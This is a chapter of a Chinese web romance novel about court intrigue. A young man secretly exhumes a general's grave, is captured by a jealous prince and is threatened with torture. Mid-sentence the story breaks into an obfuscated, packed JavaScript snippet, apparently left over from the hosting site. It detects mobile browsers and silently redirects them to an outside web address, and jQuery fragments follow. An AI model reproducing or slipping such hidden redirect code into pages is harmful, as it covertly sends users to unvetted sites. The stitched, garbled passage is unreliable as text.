22.闫祁的死有问题

作品:《急!被两个皇帝缠上了怎么办?

    宫中争斗不断,苏清晓虽然年幼,但胜在聪明伶俐。且她刚到宫中第三月,本被太医诊断胎位不正,可能难产的七皇子,顺利降生不说。


    每逢夏季都会面临干旱的黄淮平原,竟在那年奇迹般下了场大暴雨。


    真是应了她先前说的那句,皇上的真龙之气镇住她的邪气。


    这下,皇帝是对她多了些偏宠。本被冷落多年的皇后,也因苏清晓的缘故多了几分宠爱。


    “各宫娘娘对此不满,没少给我使绊子。”苏清晓看着圆月,长叹一气,“是阿柠姐姐和顾渊一直在保护我。”


    “阿柠姐姐?”这还是阿愉第一次听她提起此人。


    苏清晓点点头,“是啊。”


    提到顾柠,她眼神都柔和几分,嘴角不自觉挂上些笑意,“就是皇后娘娘的女儿,敬柔公主。”


    阿愉僵在原地,原本还带着些心疼的眼神,瞬间爬上些错愕。


    “不过......几月前她嫁去南国和亲,听说还......”苏清晓不自觉搓着袖口的绣花,“也不知,她如今过得如何了......”


    “你和她......关系很好?”


    “是啊!我不仅和她从小一起长大,更是表姐妹呢。”


    “怎么会这样......”阿愉有些魂不守舍,嘀嘀咕咕地重复着这句话。


    “嗯?”苏清晓疑惑皱眉,“什么怎么样?”


    她的声音唤回些阿愉的神志,他眨眨眼,一脸呆滞地望着苏清晓。


    “就是......明明跟你那么要好,却被抢去做了他人的妾。”


    “你怎么知道?”


    阿愉心里“咯噔”一声。


    “我没跟你说过,阿柠是被......”那几个字苏清晓实在难以说出口。


    “我......”阿愉脑子转得飞快,连忙接话道,“先前在酒楼干活时,难免听过几句旁人的闲话。”


    “说起来,我与你初见时。当时我因那个知县侄子嘲讽阿柠姐姐起了冲突,还是你救了我呢。”苏清晓眉眼弯弯,看着他,“谢谢你,阿愉。”


    阿愉有些恍惚,她眼底的悲伤一闪而过,却被阿愉尽收眼底。


    “你原来是因为......”


    “你不知道么?”


    阿愉心底染上些悲伤,有些丧气地低下头,又摇摇头,“我以为......那些人是想欺负你,所以才出手相救。”


    “阿愉,我一直都相信,善有善报。你善良正直,一定会走大运。”苏清晓笑着站起身,“已经子夜了吧?不早了,我先回屋歇息了。”


    望着她匆匆离去的背影,阿愉心里百感交集。


    苏清晓离开得这般着急,许是又要躲进屋里暗自抹泪。


    只是......她怎么跟顾柠关系这般要好!


    也对,苏清晓先前就说过,她是皇后的亲侄女。宋愉安暗自懊恼,他怎么把顾柠的事给忘了!


    身后传来些许风声,惊动树上树叶“沙沙”响。


    “别藏了。”


    他话音刚落,秦青便从树上跳下来。


    “回主子,闫家墓地四周都有重兵看守。如果闫将军的死真如洛亲王所言那般,又何必派人这样严加看管。”


    宋愉安点点头,想来他猜得没错了。闫祁的死就是有问题!且很有可能与顾渊有关!


    “现在只有把人挖出来看一眼,就能知晓真相了。”


    他话音刚落,秦青便道出自己的想法,“会不会那里面根本不是闫将军?其实顾洛亲王根儿就没找到,只不过是......”


    “可能性不大。若真是如此,那将来闫祁自己回来了,他又该作何解释?”


    “也对......”


    “管他真相是如何,挖出来看看便知!”


    宋愉安望向苏清晓禁闭地屋门,目光暗了暗。顾柠的事,他往后再想法子吧。


    令人烦躁的乌鸦叫声由远及近,飞过宋愉安和秦青的头顶。


    瞧着天色,应是已过子夜。


    中元已然过去,可墓地四周还是阴气阵阵。


    宋愉安不自觉地拉拉领子,他从小到大去过阴气最重的地方,也就冷宫了。可与此处相比,冷宫根本不值一提。


    十几名穿着盔甲的重兵守在闫家墓地附近,深夜里各个是困乏无比。皆是耷拉着脑袋,无精打采地倚着手中花枪打盹。


    现在正是下手的好时机。


    宋愉安苦练多年轻功总算是能用上,偷偷潜到士兵身后,一掌击晕。


    好在闫家墓地够大,十几人之间隔着相当的一段距离。两人暗中动手,也无人能发现。


    不到半炷香的时间,士兵便纷纷晕倒在地。


    闫祁昨日才下葬,泥土翻新,很好找。两人绕着转一圈,便瞧着他的墓。


    秦青抽出随身带的铁锹,就开始动手。直至远处传来鸡鸣声,这才挖到棺木。


    他将铁锹丢到一侧,用力掀开棺木盖。


    两人顿时被眼前的一幕惊得说不出来话!


    “何人?!”


    顾渊的声音在身后侧响起,顷刻间,便有士兵冲上来将两人摁在地上。


    “阿愉?”顾渊冷哼一声,挑挑眉。


    宋愉安被迫按到顾渊跟前跪着,他抬头望去,脸上笑容不减。明明是被顾渊扣押着,却依旧没有丝毫处于下风。


    “这位是?”顾渊目光从他脸上移到一旁的秦青,“落魄孤儿穷小子,竟还有死士呢?”


    他语气里的嘲讽难掩,甚至能听出几分激动。


    “本王接到下人举报,说有人盗墓。”顾渊手中的折扇又下没下地敲着手心,“啧啧,想不到竟会是阿愉公子啊......”


    宋愉安眼底噙着嘲讽,丝毫不慌,“倒是想问问王爷,这墓中埋着的人,究竟是何缘故死去的?”


    “与你何干?”顾渊甩开折扇,轻轻扇着风。“本王本想着大发善心,念在你对晓晓的恩情上,饶你一命。可如今看来......”


    他轻蔑地摇着头,咬牙切齿,“你就该死。”


    “王爷不怕杀了我,苏小姐会生气?”


    宋愉安这番话,彻底点燃顾渊心头的怒火,他眼底嘲讽褪去,只剩浓烈的恨意。


    “夜深人静,难免士兵看不清,将你当成盗墓贼打死。”他一脚踹进宋愉安心口,“你说,这个理由......够不够?”


    宋愉安闷哼一声,却丝毫没有低头的意思,眼底不满血丝,恨恨地瞪着他。


    得知自家坟地被人挖开,闫家夫妇二老立马就赶来。


    “叩见洛亲王。”


    顾渊稍稍摆手,好几个侍卫立马小跑上前,将刚才被宋愉安挖开的墓地重新填好。


    “是本王疏忽,竟让两个毛头小子惊扰了闫将军安息。”顾渊脸上挂着假惺惺的歉意,“这两个盗墓贼,本王定不会放过!”


    说罢,压着两人的士兵将人连拖带拽带着离开。


    “多谢王爷......”


    闫家夫妇道完谢,便一下跪到闫祁墓前大哭。


    顾渊抬抬手,众人跟着他离开。


    苏府,前院——


    苏清晓看着笔下的画发呆,她已经在这里坐了快一上午了,却还不见阿愉。


    莫非是还没醒?


    想着昨夜她拉着阿愉陪自己聊天,虽说是有些晚了,但也不至于到了快晌午都醒不来吧?


    且阿愉的生活一向很有规律,往前不管多晚睡,他都会在天刚亮时便醒来,坐在膳厅等她。


    今日到底是怎么了?


    “小姐?”明月研着磨,都快过一炷香的时间了,苏清晓一直没再下笔。


    她轻唤一声,见苏清晓还在愣神,只得稍稍大声些,“小姐?”


    “嗯?”


    “您这是怎么了?”


    苏清晓摇摇头,“你今日瞧见阿愉了么?”


    听到她提到阿愉,明月脸上挂了些不高兴,“小姐总是想着他作甚?”她手里的动作都不自觉加重几分,“说不准,是贪睡呢?”


    “可是让人去他屋里瞧过?早膳不用,也总不能午膳也不用吧?”


    明月撇撇嘴,“是,奴婢这就去瞧瞧。”


    她正欲离开,便见一早出去去药材的小春步履匆匆赶回来。


    “小姐!


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16298401|181041||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    小姐......”她跑的上气不接下气,“大事不好了!奴婢回来的路上听人说,王爷......王爷带着两个男人回府,有个瞧着像阿愉公子!”


    “什么!”苏清晓猛地站起身,笔上的墨沾了些在衣摆,她全然不觉,疾步往阿愉屋子的方向走。


    木门被推开,屋内空无一人。


    果然不是屋里。


    “走,备车,马上去王爷府。”她脸上焦急难掩,怪不得一直未见阿愉,竟是被顾渊带走了么!


    苏清晓用力闭闭眼,她不愿这样去揣测顾渊,可先前发生的事,如走马观花般浮现在她眼前。


    “小姐,会不会是听错了?王爷好端端的,抓阿愉公子去作甚?”明月赶紧道。


    “究竟是不是,一去便知。”


    “可是......王爷没理由啊!”明月替顾渊说着好话,“昨日王爷忙成那般样子,怎会再去找阿愉公子的麻烦呢。”


    苏清晓一个字都听不进去,一颗心跳得猛烈。厉声道,“去备车!”


    “是......是。”


    这是她第一次冲着明月发火,着实吓着了她。


    明月心头委屈,却也不敢多言,咬咬唇跑去找马车夫赶马车来。


    粗粝的麻绳磨破宋愉安的手腕,如小臂般粗的铁链捆在他腰间。顾渊对立而站,手里捏着被火烧得通红的铁块。


    “你终于是落到本王的手上了。”他嘴角挽起嗜血的笑,“这么喜欢装可怜,如今怎么不装了?”


    宋愉安目光冷淡,仿佛在看一个手下败将,“你不想承认她不喜欢你,所以将一切的错推到我身上。”


    他啐了一口,“懦夫!”


    顾渊怒气上涌,眼眶发红,恶狠狠地盯着他,“死到临头还嘴硬!本王就先割下你的舌头!”


    说罢,手边的下人立马将磨得发亮的匕首递到他手里。


    “压住他。”


    “主子!”秦青奋力挣扎,“你有什么冲我来!敢伤他,南......”


    “闭嘴!”宋愉安呵斥一声,打断他的话,“苏清晓会恨你一辈子的。”


    他挽起嘴角,笑意却不达眼底,“顾渊,我不见了,你以为以苏清晓的性子,她不会找?若是找到你的头上,你还能痴心妄想她会爱上你?


    你杀了我,亦或是折磨我,都最好能瞒住她一生。


    只要我还能说话,能写字,还有一口气,我就一定会想法子让她恨透你!


    还有......闫祁的死,她也该知道真相。”


    “你......”顾渊握着匕首的手发抖,宋愉安说得并不错。以晓晓的性子,她定是不会再原谅他了。


    即便后面他坐上皇位,强行纳她为妃,得到也不过是她的人。


    逼急了,或许她还会选择玉石俱焚!


    “你好样的!”顾渊嚼穿龈血,“你以为你的巧言令语,就会让本王放过你?”


    他嘴角噙着冷笑,恨不得将他千刀万剐,再丢去喂狗。


    “既然你会说话,本王便割了你的舌头。既然你会写字,本王就挑了你的手筋。看看到底是你的命硬,还是本王的手段狠!”


    顾渊将匕首丢给他身后侧的家奴,“去烧一锅滚水,再拿些盐泡点盐水,叫他好好吃些苦头。”


    宋愉安脸色黑了几分,心头不免也有些慌。他万万没想到,顾渊会疯狂到这个地步!


    “王爷!”管家小跑进屋,“苏小姐在府门口,硬要往里闯,守门的侍卫都不敢拦啊!”


    “什么?!”顾渊脸上慌乱一瞬,猛地看向宋愉安。


    他早已是一副有恃无恐的样儿,好似苏清晓一定会护他周全般。


    宋愉安笑着开口,一字一句都如利刃刺进顾渊心口,“那日,苏小姐亲口与我说,我从今往后是苏家人,她在哪里,我的家就在哪里......”


    顾渊只觉心一阵刺痛,一口气哽在喉咙,耳边是宋愉安那小人得志的声音。


    “哎呀,现在不该叫苏小姐了。应该叫,姐姐......”


    话音还未落,锋利的匕首抵在他的喉管,顾渊怒不可遏,一双眼通红,“闭嘴!”